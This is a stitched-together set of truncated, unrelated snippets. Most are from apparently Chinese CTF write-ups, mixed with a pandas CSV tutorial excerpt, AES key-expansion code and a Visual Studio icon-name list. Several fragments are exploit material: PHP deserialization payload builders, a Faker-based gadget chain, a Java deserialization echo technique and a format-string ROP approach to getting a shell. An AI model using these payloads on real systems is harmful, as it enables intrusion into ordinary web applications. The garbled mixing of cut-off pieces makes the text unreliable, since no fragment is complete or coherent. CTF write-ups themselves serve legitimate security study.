class Upload { public $f; public $fname; public $fsize; function __construct(){ $this->f = $_FILES; } function savefile() { $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname); } move_uploaded_file($...
<?phpclass Joker{ private $Error; public function __construct(){ $this->Error = new Bigger(); $this->Error->Processing_strings = new Lisa(); }}class Bigger{ public $Processing_strings;}class Lisa{ public $code;}$a = new Joker;echo base64_encode(serialize($a));?> 结果:Tzo1OiJK...
这里可以使用形如this−>a=this−>formatters是xxx−> 代码语言:javascript 代码运行次数:0 运行 AI代码解释 <?php namespace { class User{ private $instance; public $password; private $_password; public function __construct() { $this->instance = new Faker\Generator($this); $this->_password...
If you don’t want to keep them, then you can pass the argument index=False to .to_csv().Read a CSV File Once your data is saved in a CSV file, you’ll likely want to load and use it from time to time. You can do that with the pandas read_csv() function: Python >>> ...
明显的格式化,在print之后直接调用exit退出了。和0ctf的easyprintf有点类似,参考http://blog.dragonsector.pl/2017/03/0ctf-2017-easiestprintf-pwn-150.html。与easyprintf不同的是这个题目是静态编译的,程序中没有system函数,因此构造了一个裸的rop去获取shell。
先看16进制,脑洞一堆没思路,信息搜集。发现这……这怕是这届defcon的大名鼎鼎cLEMENCy中段序哦。Github上的ida_clemency 按照readme上面配好环境后发现clemency.bin可识别了,找了一圈没发现flag,突然想起有个flag.enc,然后就出了。。 15.流量分析 类型:MISC 分值:300分 ...
tempa[1] = RoundKey[k + 1]; tempa[2] = RoundKey[k + 2]; tempa[3] = RoundKey[k + 3]; } if (i % Nk == 0) { // This function shifts the 4 bytes in a word to the left once. // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] ...
functionview_unreads(){$.ajax({type:"POST",url:"/admin/handle_message.php",data:{"token":csrf_token,"action":"view_unreads","status":0},dataType:"json",success:function(data){if(!data["error"]){data=data['result'];varhtml='';vartbody=document.getElementById("comments");for(vari...
ResultsToTextFile ResumePhone Rethrow 擷取 傳回 ReturnApplicationInsights ReturnParameter ReturnValue ReturnValueCollapsed ReturnValueExpanded ReuseExistingProps Reverse ReverseGradient ReverseRun RGSRegistrationScript RibbonMenu RibbonMenuAction RichTextBox RichTooltip RightArrowAsterisk RightBorder RightCarriageReturn Ri...
oos.close();Stringresult=newString(Base64.getEncoder().encode(baos.toByteArray())); System.out.println(result); }catch(Exception e) { e.printStackTrace(); } } } 根据上文代码,发现无法回显,但根据百度发现可以利用apache的catalina进行回显,同时程序包里有这个类库: ...